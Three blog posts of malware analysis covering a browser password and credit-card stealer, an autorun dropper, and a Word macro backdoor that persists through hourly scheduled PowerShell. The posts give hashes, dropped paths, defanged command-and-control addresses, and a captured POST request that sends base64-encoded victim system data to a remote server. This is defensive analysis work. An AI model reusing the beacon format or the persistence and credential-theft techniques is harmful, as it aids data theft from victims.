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Password stealer Trojan – Malware Analysis

Anurag Gawande3 Comments

Hi Visitor, I got this sample of malware shared on VirusBay.

Sample below:

SHA256: 630efa1e2dc642799b867363bb36d1953884480ac29942a1ab20243a8a9620ad

Signature: Microsoft Visual C# v7.0/ Basic .Net and its a Windows forms application.

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Upon execution, this file drops below two files at location C:\Users\<UserProfile>\AppData\Local\Temp\

Dropped files:

C:\Users\<UserProfile>\AppData\Local\Temp\FB_2C02.tmp.exe

C:\Users\<UserProfile>\AppData\Local\Temp\cc3a68ce1dad95ce662e1c51568e3a.exe (Application Server)

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Upon execution of this file, it take a screenshot of current screen and save at C:\Users\<UserProfile>\AppData\Local\Temp location.

Also it adds below file to startup programs.

  • cc3a68ce1dad95ce662e1c51568e3a.exe (Application Server)
  • And main malware sample file.
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FB_2C02.tmp.exe:

SHA256: A02CF7E4D01C3E04C0C6F723A541289A12C5D87ECC47F6B675D84A6B1B0A23B3

File description: Gomorrah

Signature: Microsoft Visual C# v7.0/ Basic .Net and its a Windows forms application.

I used ILSpy decompiler to decompile FB_2C02.tmp.exe. I could see the functions written to achive below purpose.

Purpose:

  1. Steal browser saved user account information.
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I used google chrome on which VM i was doing analysis. I could see this file has created a Passwords.txt file at C:\Users\<UserProfile>\AppData\Local\Temp\Passwords.txt

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Decomplied code of executable which grab google chrome url, username and password.

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2. System Information.

This file also located at C:\Users\<UserProfile>\AppData\Local\Temp

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3. Outlook Password.

This file also located at C:\Users\<UserProfile>\AppData\Local\Temp. As I wasnt using outlook, the file was empty.

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4. Credit Card information

This file CC.txt which stores information about CC also located at C:\Users\<UserProfile>\AppData\Local\Temp.

It was empty too.

Below code grab CC information from the browser.

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Just not from Google chrome but from all below,

  • Amigo
  • Brave
  • Kometa
  • Orbitium
  • Totch
  • Yandex
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It uploads all collected to the remote location. Though I am not able to see it is connecting to remote server anymore because when I ran this, got run time exceptions.

But it gets connected to below URL as its mentioned on VirusTotal detection.

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Summary:

Malware upload below information to remote server.

  • Web account passwords from web browsers.
  • Credit card information from web browser.
  • Outlook passwords.
  • Client machine information.

Thank you.

Trojan dropper bdf243b7a296f7aecc366c799e3fb865e 3aff7c72d8d942e2b2632a347fe5c3

Anurag GawandeLeave a comment

SHA256: bdf243b7a296f7aecc366c799e3fb865ee3aff7c72d8d942e2b2632a347fe5c3

I downloaded this sample from Malshare.

I started decoding PE hex to text file and found that the PE file has embedded another file which will be dropped on execution.

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Filename: help.exe

SHA256: 837bef64239be017a2aac92852576efc7d84774d90f64e9d69c5cc3a2b4ecce4

It also drops Autoexec.bat.exe file and Autoexec.exe files at C:\ location. (But it didn’t drop these files instead it dropped AutoRun.INF and AutoRun.exe)

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Also found computer username emartinez in path to PDB file, that means this file must be compiled on a machine under this user account.

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and username janettedoe in another path to startup programs

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I executed this PE file for dynamic analysis. I found this file dropped Helpme.exe, AutoRun.INF same location I have seen in hex code.

Files Dropped:

  1. C:\Windows\System32\HelpMe.exe
  2. C:\AutoRun.INF
  3. C:\AutoRun.exe

Screenshots

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AUTORUN.INF file at location C:\ 

AUTORUN.INF file executes executable AutoRun.exe file. (Below screenshot)

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Another executable dropped at below location

C:\$Recycle.Bin\S-1-5-18

C:\$Recycle.Bin\S-1-5-21-3461203602-4096304019-2269080069-100

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I did rename C:\$Recycle.Bin\S-1-5-18\desktop.ini file to desktop.ini.exe and double click to execute it. It has given error Cannot create file “C:\Windows\System32\HelpMe.exe 

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Then I executed desktop.ini.exe file with administrative privilege (before execute this file I had commented AutoRun.exe file at location C:\) and this file executed C:\Windows\System32\HelpMe.exe which dropped file AutoRun.exe at location C:\

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I disassembled AutoRun.exe file and found this creates file Soft.lnk which again has path to execute HelpMe.exe on windows startup.

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Below soft.lnk has comment Stone, I hate you! this file has target to execute AUTORUN.INF.exe

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No internet connectivity has been tested from this malware, as this analysis done offline.

Word Macro backdoor Trojan

Anurag Gawande1 Comment

I came across this sample from one of Twitter post and immediately I downloaded this sample from virusbay.io  for analysis.

First I used oleTools to analyse word macro.

  • Macro will execute on opening file.
  • It creates text file.
  • It executes PowerShell command.
  • it has base64 used to obfuscate the string.
  • And it creates two bat files which will execute PowerShell script.
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Below screenshots of word document

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When I clicked on Enable Editing and Edit Macro, A pop came up and asking for password. Which I didn’t know and I clicked on Cancel button but macro executed.

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While performing this action, I was running Sysinternal’s Autoruns  and Process Monitor to capture the background activity.

And found word document dropped files at location C:\ProgramData file names are

  • Win32ApiSync.bat 
  • Win32ApiSyncLog.txt
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and dropped another file at location Startup programs.

  • Win32ApiSyncTskSchdlr.bat

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Win32ApiSyngTskSchDlr.bat file will execute Win32ApiSync.bat file and add it task scheduler for running 1 hourly basis.

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and Win32ApiSync.bat file will decode base64 obfuscated string stored in file Win32ApiSyncLog.txt. 

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You can read Win32ApiSyncLog.txt file data here Pastebin

I used below PowerShell script to decode  Base64 obfuscated string and written it to text file which was actually a PowerShell script.

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Decoded base64 string you can read here at Pastebin and below is the screenshot of decoded string which is PowerShell script.

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Above decoded PowerShell has another base64 obfuscated string (start of string highlighted in yellow) which i decoded again using same PowerShell script (above screenshot) and output text you can find here on Pastebin

It has Chinese like characters which I was unable to decode/translate and because of this i thought to run this PowerShell to see the behavior.

I executed Win32ApiSyncTskSchdlr.bat file and saw that this file created a task scheduler job and schedule Win32ApiSync.bat file triggering every 1 hour.

I found this information in Sysinternal’s Autoruns tool

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Below is the task scheduler job.

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I also could find the files getting dropped at below locations and file names are

  • 6772.xml
  • AutoSaved_17e74b3e-413b-498a-a922-8f04498c1d4a_Untitled2.ps1
  • AutoSaved_d40bd1dc-5457-4e11-85d5-b31138ee3b48_Untitled3.ps1
  • Userconfig.xml

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6772.xml file data

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connection has made to remote IP 94[.]23[.]148[.]194 and post request has made.

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below is the post command

POST /serverScript/clientFrontLine/helloServer.php?helloMsg=NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0V

another http request I see in wireshark is 414 Request-URI too long and host is HANGER[]mobinhost[.]com port 80

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One more file created at location C:\ProgramData\error.txt

File has logs which saying “unable to connect to remote server.” (This may be when I disconnected from Internet) and another error was logged is “Invalid URI: The Uri string is too long.”

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I renamed all dropped bat files, PowerShell scripts and text file and tried to access the IP address via browser.

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Behavior of Malware: 

  • On opening word document, drops Batch files and which executes PowerShell script from base64 obfuscated string.
  • Batch files creates a task scheduler jobs which executes every hour.
  • From the error logs and WireShark network logs, it seems it upload data to IP 94[.]23[.]148[.]194

Files dropped on system:

  • C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Win32ApiSyncTskSchdlr.bat
  • C:\ProgramData\Win32ApiSync.bat
  • C:\ProgramData\Win32ApiSyncLog.txt
  • C:\Users\IEUser\AppData\Local\Microsoft_Corporation\PowerShell_ISE.exe_StrongName_lw2v2vm3wmtzzpebq33gybmeoxukb04w\3.0.0.0\user.config
  • C:\Users\IEUser\AppData\Local\Microsoft_Corporation\PowerShell_ISE.exe_StrongName_lw2v2vm3wmtzzpebq33gybmeoxukb04w\3.0.0.0\AutoSaveFiles\AutoSaved_17e74b3e-413b-498a-a922-8f04498c1d4a_Untitled2.ps1
  • C:\Users\IEUser\AppData\Local\Microsoft_Corporation\PowerShell_ISE.exe_StrongName_lw2v2vm3wmtzzpebq33gybmeoxukb04w\3.0.0.0\AutoSaveFiles\AutoSaved_d40bd1dc-5457-4e11-85d5-b31138ee3b48_Untitled3.ps1
  • C:\Users\IEUser\AppData\Local\Microsoft_Corporation\PowerShell_ISE.exe_StrongName_lw2v2vm3wmtzzpebq33gybmeoxukb04w\3.0.0.0\AutoSaveInformation\6772.xml

Suggestions are welcome. Thank you.